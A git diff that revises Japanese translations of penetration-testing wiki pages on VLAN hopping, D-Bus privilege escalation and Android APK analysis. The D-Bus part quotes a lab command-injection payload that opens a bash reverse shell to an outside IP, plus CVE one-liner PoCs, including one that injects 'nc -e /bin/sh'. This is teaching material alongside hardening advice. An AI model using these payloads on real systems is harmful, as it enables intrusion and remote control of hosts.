@ -86,14 +86,14 @@ python3 DoubleTagging.py \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
パケットの通過:
|
||||
1. 外側のタグ (1) は、ネイティブ VLAN に一致するため、最初のスイッチによって削除されます。
|
||||
2. 内側のタグ (20) が露出し、フレームは VLAN 20 へのトランクに転送されます。
|
||||
1. 外部タグ (1) は、ネイティブ VLAN に一致するため、最初のスイッチによって削除されます。
|
||||
2. 内部タグ (20) が露出し、フレームは VLAN 20 に向けてトランクに転送されます。
|
||||
|
||||
この技術は、ネイティブ VLAN をデフォルトのままにし、タグなしフレームを受け入れるネットワークで 2025 年にも機能します。
|
||||
この技術は、ネイティブ VLAN をデフォルトのままにし、タグなしフレームを受け入れるネットワークで2025年にも機能します。
|
||||
|
||||
### 3. QinQ (802.1ad) スタッキング
|
||||
|
||||
多くのエンタープライズコアは *Q-in-Q* サービスプロバイダーのカプセル化をサポートしています。 許可されている場合、攻撃者はプロバイダー (S-tag) 内に任意の 802.1Q タグ付きトラフィックをトンネリングしてセキュリティゾーンを越えることができます。 802.1ad ethertype 0x88a8 をキャプチャし、Scapy を使用して外側のタグをポップしようとします:
|
||||
多くのエンタープライズコアは *Q-in-Q* サービスプロバイダーのカプセル化をサポートしています。 許可されている場合、攻撃者はプロバイダー (S-tag) 内に任意の 802.1Q タグ付きトラフィックをトンネリングしてセキュリティゾーンを越えることができます。 802.1ad ethertype 0x88a8 をキャプチャし、Scapy を使用して外部タグをポップしようとします:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## **GUI列挙**
|
||||
|
||||
D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:主に**特権サービスがシステム全体に関連するサービスを公開するために利用するシステムバス**と、各ログインユーザーのためのセッションバスです。このセッションバスは、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、主にシステムバスに焦点を当てています。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。
|
||||
D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:主に**特権サービスがシステム全体に関連するサービスを公開するために利用するシステムバス**と、各ログインユーザーのためのセッションバスがあり、特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、主に高い特権(例:root)で実行されるサービスに関連するシステムバスに焦点を当てます。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。
|
||||
|
||||
D-Bus上のサービスは、公開される**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的での重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返しますが、ここではプロパティとシグナルを省略し、メソッドに焦点を当てています。
|
||||
D-Bus上のサービスは、公開される**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的のための重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返し、ここではプロパティとシグナルを省略してメソッドに焦点を当てます。
|
||||
|
||||
D-Busインターフェースとの通信には、2つのツールが使用されました:D-Busによって公開されるメソッドをスクリプトで簡単に呼び出すためのCLIツール**gdbus**と、各バスで利用可能なサービスを列挙し、各サービスに含まれるオブジェクトを表示するために設計されたPythonベースのGUIツール[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。
|
||||
```bash
|
||||
@ -16,15 +16,15 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、**org.debin.apt**がシステムバスボタンを選択した後に特に強調されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択したオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。
|
||||
最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、**org.debin.apt**がシステムバスボタンを選択した後に特に強調表示されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択されたオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。
|
||||
|
||||
注目すべき特徴は、サービスの**プロセスID(pid)**と**コマンドライン**が表示されることで、サービスが昇格した特権で実行されているかどうかを確認するのに役立ちます。これは研究の関連性にとって重要です。
|
||||
|
||||
**D-Feetはメソッドの呼び出しも可能です**:ユーザーはパラメータとしてPython式を入力でき、D-FeetはそれをD-Busタイプに変換してサービスに渡します。
|
||||
**D-Feetはメソッドの呼び出しも可能です**:ユーザーはPython式をパラメータとして入力でき、D-FeetはそれをD-Busタイプに変換してサービスに渡します。
|
||||
|
||||
ただし、**一部のメソッドは認証を必要とします**。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。
|
||||
ただし、**いくつかのメソッドは認証を必要とします**。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。
|
||||
|
||||
また、一部のサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。
|
||||
また、いくつかのサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### 接続
|
||||
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスへの接続を設定すると、バスはその接続に _ユニーク接続名_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。さらに重要なことに、バスの寿命中に再利用することはできません。これは、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続にそのようなユニーク接続名が割り当てられることは決してないことを意味します。ユニーク接続名は、禁止されているコロン文字で始まるため、簡単に認識できます。
|
||||
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスへの接続を設定すると、バスはその接続に _unique connection name_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。そして、より重要なことに、バスのライフタイム中に再利用することはできません。これは、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続には決してそのようなユニークな接続名が割り当てられないことを意味します。ユニークな接続名は、禁止されているコロン文字で始まるため、簡単に認識できます。
|
||||
|
||||
### サービスオブジェクト情報
|
||||
|
||||
@ -132,7 +132,7 @@ busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
```
|
||||
### サービスオブジェクトのインターフェースを調査する
|
||||
|
||||
この例では、`tree`パラメーターを使用して発見された最新のインターフェースが選択されたことに注意してください(_前のセクションを参照_):
|
||||
この例では、`tree`パラメータを使用して発見された最新のインターフェースが選択されたことに注意してください(_前のセクションを参照_):
|
||||
```bash
|
||||
busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface
|
||||
|
||||
@ -159,7 +159,7 @@ org.freedesktop.DBus.Properties interface - - -
|
||||
**通信をモニター**するには、**root**である必要があります。まだrootで問題がある場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) と [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) を確認してください。
|
||||
|
||||
> [!WARNING]
|
||||
> D-Busの設定ファイルを構成して**非rootユーザーが通信をスニッフィングできるようにする**方法を知っている場合は、**私に連絡してください**!
|
||||
> D-Busの設定ファイルを構成して**非rootユーザーが通信をスニッフィングできるようにする**方法を知っている場合は、ぜひ**ご連絡ください**!
|
||||
|
||||
モニターするための異なる方法:
|
||||
```bash
|
||||
@ -167,7 +167,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
次の例では、インターフェース `htb.oouch.Block` が監視されており、**メッセージ "**_**lalalalal**_**" が誤通信を通じて送信されます**:
|
||||
次の例では、インターフェース `htb.oouch.Block` が監視されており、**メッセージ "**_**lalalalal**_**" が誤解を通じて送信されます**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -204,7 +204,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
D-Busの構文ルールに関する詳細は、[D-Busドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照してください。
|
||||
|
||||
### さらに
|
||||
### もっと
|
||||
|
||||
`busctl`にはさらに多くのオプションがあります。[**すべてはこちらで見つけてください**](https://www.freedesktop.org/software/systemd/man/busctl.html)。
|
||||
|
||||
@ -245,14 +245,14 @@ response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
ご覧のとおり、**D-Busインターフェースに接続**し、**「Block」関数**に「client_ip」を送信しています。
|
||||
D-Busインターフェースに**接続し**、**"Block"関数**に"client_ip"を送信しています。
|
||||
|
||||
D-Bus接続の反対側には、Cでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続で**IPアドレスをリッスン**し、与えられたIPアドレスをブロックするために`system`関数を介してiptablesを呼び出しています。\
|
||||
D-Bus接続の反対側には、Cでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続で**IPアドレスをリッスンし**、与えられたIPアドレスをブロックするために`system`関数を介してiptablesを呼び出しています。\
|
||||
**`system`への呼び出しは意図的にコマンドインジェクションに対して脆弱であり**、次のようなペイロードがリバースシェルを作成します: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### これを悪用する
|
||||
|
||||
このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、91行目から97行目の間に**`D-Busオブジェクトパス`**と**`インターフェース名`**が**登録されている**方法があります。この情報は、D-Bus接続に情報を送信するために必要です:
|
||||
このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、91行目から97行目の間に**`D-Busオブジェクトパス`**と**`インターフェース名`**が**登録されている**方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要です:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
@ -262,7 +262,7 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
また、57行目には**このD-Bus通信に登録されている唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されます**_):
|
||||
また、57行目には、このD-Bus通信に登録されている**唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されます**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
@ -284,10 +284,10 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
|
||||
```
|
||||
- `dbus-send` は「Message Bus」にメッセージを送信するためのツールです。
|
||||
- Message Bus – システムがアプリケーション間の通信を容易にするために使用するソフトウェアです。これはメッセージキューに関連しています(メッセージは順序通りに並べられます)が、Message Busではメッセージがサブスクリプションモデルで送信され、非常に迅速です。
|
||||
- “-system” タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルト)。
|
||||
- “-system” タグは、セッションメッセージではなくシステムメッセージであることを示すために使用されます(デフォルトでは)。
|
||||
- “–print-reply” タグは、メッセージを適切に印刷し、人間が読みやすい形式で返信を受け取るために使用されます。
|
||||
- “–dest=Dbus-Interface-Block” Dbusインターフェースのアドレスです。
|
||||
- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、objpathなどがあります。この中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これは、FIFOリバースシェルファイル/コマンドの場所を置くためにオブジェクトパスを再度呼び出すためのものです。
|
||||
- “–string:” – インターフェースに送信したいメッセージのタイプです。メッセージを送信するための形式には、ダブル、バイト、ブール値、整数、objpathなどがあります。この中で、「オブジェクトパス」は、ファイルのパスをDbusインターフェースに送信したいときに便利です。この場合、特別なファイル(FIFO)を使用して、ファイルの名前でインターフェースにコマンドを渡すことができます。“string:;” – これは、FIFOリバースシェルファイル/コマンドの場所を指定してオブジェクトパスを再度呼び出すためのものです。
|
||||
|
||||
_`htb.oouch.Block.Block` の最初の部分(`htb.oouch.Block`)はサービスオブジェクトを参照し、最後の部分(`.Block`)はメソッド名を参照します。_
|
||||
|
||||
@ -465,16 +465,16 @@ python3 uptux.py -d # 詳細なデバッグ出力を有効にする
|
||||
|
||||
## 注目すべきD-Bus特権昇格バグ (2024-2025)
|
||||
|
||||
最近公開されたCVEを注視することで、カスタムコード内の類似の不安全なパターンを見つけるのに役立ちます。以下の高影響のローカルEoP問題はすべて、**system bus**上の認証/認可の欠如から生じています:
|
||||
最近公開されたCVEを注視することで、カスタムコード内の類似の不安全なパターンを見つけるのに役立ちます。以下の高影響のローカルEoP問題はすべて、**システムバス**上の認証/認可の欠如から生じています:
|
||||
|
||||
| 年 | CVE | コンポーネント | 根本原因 | ワンライナーPoC |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HIDデーモン) | `logid`システムサービスは、*任意*のユーザーがデバイスプロファイルを変更し、マクロ文字列を介して任意のシェルコマンドを注入できる制限のない`org.freedesktop.Logiopsd`インターフェースを公開しています。 | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | ルートで実行されるプロキシが、呼び出し元のUID/Polkitコンテキストを転送せずにレガシーバス名をバックエンドサービスに転送するため、すべての転送リクエストはUID 0として扱われます。 | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (Logitech HIDデーモン) | `logid`システムサービスは、*任意の*ユーザーがデバイスプロファイルを変更し、マクロ文字列を介して任意のシェルコマンドを注入できる制限のない`org.freedesktop.Logiopsd`インターフェースを公開しています。 | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | ルートで実行されるプロキシが、呼び出し元のUID/Polkitコンテキストを**転送せずに**レガシーバス名をバックエンドサービスに転送するため、すべての転送されたリクエストはUID 0として扱われます。 | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | 公開された`Dispatch`メソッドにはACLが欠如しているため、攻撃者は*パッケージマネージャ*ワーカーに任意のRPMをインストールさせることができます。 | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
注意すべきパターン:
|
||||
1. サービスが**system bus上でrootとして実行される**。
|
||||
1. サービスが**システムバス上でrootとして実行される**。
|
||||
2. PolicyKitチェックがない(またはプロキシによってバイパスされている)。
|
||||
3. メソッドが最終的に`system()`/パッケージのインストール/デバイスの再構成につながる → コード実行。
|
||||
|
||||
@ -489,8 +489,8 @@ python3 uptux.py -d # 詳細なデバッグ出力を有効にする
|
||||
grep -R --color -nE '<allow (own|send_destination|receive_sender)="[^"]*"' /etc/dbus-1/system.d /usr/share/dbus-1/system.d
|
||||
```
|
||||
* 危険なメソッドにはPolkitを要求する – *root*プロキシでさえ、独自のPIDではなく*呼び出し元*PIDを`polkit_authority_check_authorization_sync()`に渡すべきです。
|
||||
* 長時間実行されるヘルパーで特権をドロップする(バスに接続した後に`sd_pid_get_owner_uid()`を使用して名前空間を切り替える)。
|
||||
* サービスを削除できない場合は、少なくとも*スコープ*を専用のUnixグループに制限し、そのXMLポリシーでアクセスを制限します。
|
||||
* 長時間実行されるヘルパーで特権をドロップする(バスに接続した後に名前空間を切り替えるために`sd_pid_get_owner_uid()`を使用)。
|
||||
* サービスを削除できない場合は、少なくともそれを専用のUnixグループに*スコープ*し、そのXMLポリシーでアクセスを制限します。
|
||||
* ブルーチーム:`busctl capture --output=/var/log/dbus_$(date +%F).pcap`を使用してシステムバスの永続的なキャプチャを有効にし、Wiresharkにインポートして異常検出を行います。
|
||||
|
||||
---
|
||||
|
@ -19,16 +19,16 @@ android-applications-basics.md
|
||||
|
||||
## Smali
|
||||
|
||||
時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
|
||||
[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
|
||||
時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkをデコンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\
|
||||
[**このチュートリアルでは、APKをデコンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
- [Play Storeでの位置情報の偽装](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADBベースの非ルート特権アクセス)](shizuku-privileged-api.md)
|
||||
- [安全でないアプリ内更新メカニズムの悪用](insecure-in-app-update-rce.md)
|
||||
- **APKのダウンロード**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- デバイスからAPKを抽出:
|
||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
- Extract APK from device:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
com.android.insecurebankv2
|
||||
@ -60,32 +60,32 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 興味深い情報の探索
|
||||
|
||||
APKの**文字列**を確認することで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**などの**興味深い情報**を探すことができます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。
|
||||
APKの**文字列**を確認するだけで、**パスワード**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**API**キー、**暗号化**、**Bluetooth UUID**、**トークン**など、興味深いものを探すことができます... コード実行の**バックドア**や認証バックドア(アプリへのハードコーディングされた管理者資格情報)も探してください。
|
||||
|
||||
**Firebase**
|
||||
|
||||
**FirebaseのURL**に特に注意を払い、設定が不適切でないか確認してください。[Firebaseとは何か、そしてそれをどのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
**FirebaseのURL**に特に注意を払い、適切に設定されているか確認してください。[Firebaseとは何か、どのように悪用するかについての詳細情報はこちら。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### アプリケーションの基本理解 - Manifest.xml, strings.xml
|
||||
|
||||
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更してから解凍することでアクセスできます。
|
||||
アプリケーションの**_Manifest.xml_**および**_strings.xml_**ファイルの**検査は、潜在的なセキュリティ脆弱性を明らかにすることができます**。これらのファイルは、デコンパイラを使用するか、APKファイルの拡張子を.zipに変更して解凍することでアクセスできます。
|
||||
|
||||
**Manifest.xml**から特定された**脆弱性**には以下が含まれます:
|
||||
|
||||
- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、チュートリアルを参照してください。
|
||||
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、USBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぐことができます。
|
||||
- **バックアップ設定**: 機密情報を扱うアプリケーションには、`android:allowBackup="false"`属性を明示的に設定する必要があります。これにより、USBデバッグが有効な場合にadbを介した不正なデータバックアップを防ぎます。
|
||||
- **ネットワークセキュリティ**: _res/xml/_内のカスタムネットワークセキュリティ設定(`android:networkSecurityConfig="@xml/network_security_config"`)は、証明書ピンやHTTPトラフィック設定などのセキュリティ詳細を指定できます。特定のドメインに対してHTTPトラフィックを許可することが一例です。
|
||||
- **エクスポートされたアクティビティとサービス**: マニフェスト内のエクスポートされたアクティビティとサービスを特定することで、悪用される可能性のあるコンポーネントを明らかにできます。動的テスト中のさらなる分析により、これらのコンポーネントを悪用する方法が明らかになります。
|
||||
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、データへの不正アクセスや変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
|
||||
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意を払う必要があります。
|
||||
- **コンテンツプロバイダーとファイルプロバイダー**: 公開されたコンテンツプロバイダーは、不正なアクセスやデータの変更を許可する可能性があります。ファイルプロバイダーの設定も注意深く確認する必要があります。
|
||||
- **ブロードキャストレシーバーとURLスキーム**: これらのコンポーネントは悪用される可能性があり、特に入力脆弱性に対するURLスキームの管理方法に注意が必要です。
|
||||
- **SDKバージョン**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion`属性は、サポートされているAndroidバージョンを示し、セキュリティ上の理由から古い脆弱なAndroidバージョンをサポートしないことの重要性を強調します。
|
||||
|
||||
**strings.xml**ファイルからは、APIキー、カスタムスキーマ、その他の開発者ノートなどの機密情報が発見される可能性があり、これらのリソースの注意深いレビューが必要です。
|
||||
|
||||
### タップジャッキング
|
||||
|
||||
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれと対話させるように設計されており、その間にその対話を被害者アプリに渡します。\
|
||||
実際には、**ユーザーが被害者アプリで実際にアクションを実行していることを知らないようにしています**。
|
||||
**タップジャッキング**は、**悪意のある** **アプリケーション**が起動され、**被害者アプリケーションの上に位置する**攻撃です。被害者アプリを視覚的に隠すと、そのユーザーインターフェースはユーザーを騙してそれに対話させるように設計されており、実際には被害者アプリに対してその対話を渡しています。\
|
||||
実際には、**ユーザーが被害者アプリでアクションを実行していることを知らないようにしています**。
|
||||
|
||||
詳細情報は以下を参照してください:
|
||||
|
||||
@ -103,23 +103,23 @@ tapjacking.md
|
||||
android-task-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
### 不適切なデータストレージ
|
||||
### 不安定なデータストレージ
|
||||
|
||||
**内部ストレージ**
|
||||
|
||||
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
|
||||
Androidでは、**内部**ストレージに**保存された**ファイルは、**作成した**アプリケーションのみが**アクセスできる**ように**設計されています**。このセキュリティ対策はAndroidオペレーティングシステムによって**強制され**、ほとんどのアプリケーションのセキュリティニーズには一般的に十分です。しかし、開発者は時折、`MODE_WORLD_READABLE`や`MODE_WORLD_WRITABLE`のようなモードを利用して、ファイルを異なるアプリケーション間で**共有**できるようにします。しかし、これらのモードは、他のアプリケーション(潜在的に悪意のあるものを含む)によるこれらのファイルへのアクセスを**制限しません**。
|
||||
|
||||
1. **静的分析:**
|
||||
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**注意深く検討されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**にファイルを**さらす可能性があります**。
|
||||
- `MODE_WORLD_READABLE`および`MODE_WORLD_WRITABLE`の使用が**慎重に精査されるべきです**。これらのモードは、**意図しないまたは不正なアクセス**をファイルに対して**露出させる可能性があります**。
|
||||
2. **動的分析:**
|
||||
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
|
||||
- アプリによって作成されたファイルに設定された**権限**を**確認**します。特に、ファイルが**全世界に対して読み取りまたは書き込み可能に設定されているか**を**チェック**します。これは重大なセキュリティリスクを引き起こす可能性があり、デバイスにインストールされた**任意のアプリケーション**が、出所や意図に関係なく、これらのファイルを**読み取ったり変更したり**できるようになります。
|
||||
|
||||
**外部ストレージ**
|
||||
|
||||
**外部ストレージ**(SDカードなど)上のファイルを扱う際には、いくつかの注意が必要です:
|
||||
**外部ストレージ**上のファイルを扱う際には、いくつかの注意が必要です:
|
||||
|
||||
1. **アクセス可能性**:
|
||||
- 外部ストレージ上のファイルは**全世界に読み取りおよび書き込み可能**です。つまり、任意のアプリケーションやユーザーがこれらのファイルにアクセスできます。
|
||||
- 外部ストレージ上のファイルは**全世界に対して読み取りおよび書き込み可能**です。これは、任意のアプリケーションやユーザーがこれらのファイルにアクセスできることを意味します。
|
||||
2. **セキュリティの懸念**:
|
||||
- アクセスの容易さを考慮すると、**機密情報を外部ストレージに保存しないことが推奨されます**。
|
||||
- 外部ストレージは取り外し可能であり、任意のアプリケーションによってアクセスされる可能性があるため、セキュリティが低下します。
|
||||
@ -131,7 +131,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
|
||||
外部ストレージは`/storage/emulated/0`、`/sdcard`、`/mnt/sdcard`で**アクセス可能**です。
|
||||
|
||||
> [!TIP]
|
||||
> Android 4.4(**API 17**)以降、SDカードにはアプリ専用のディレクトリ構造があり、**アプリからそのアプリ専用のディレクトリへのアクセスが制限されます**。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることが防止されます。
|
||||
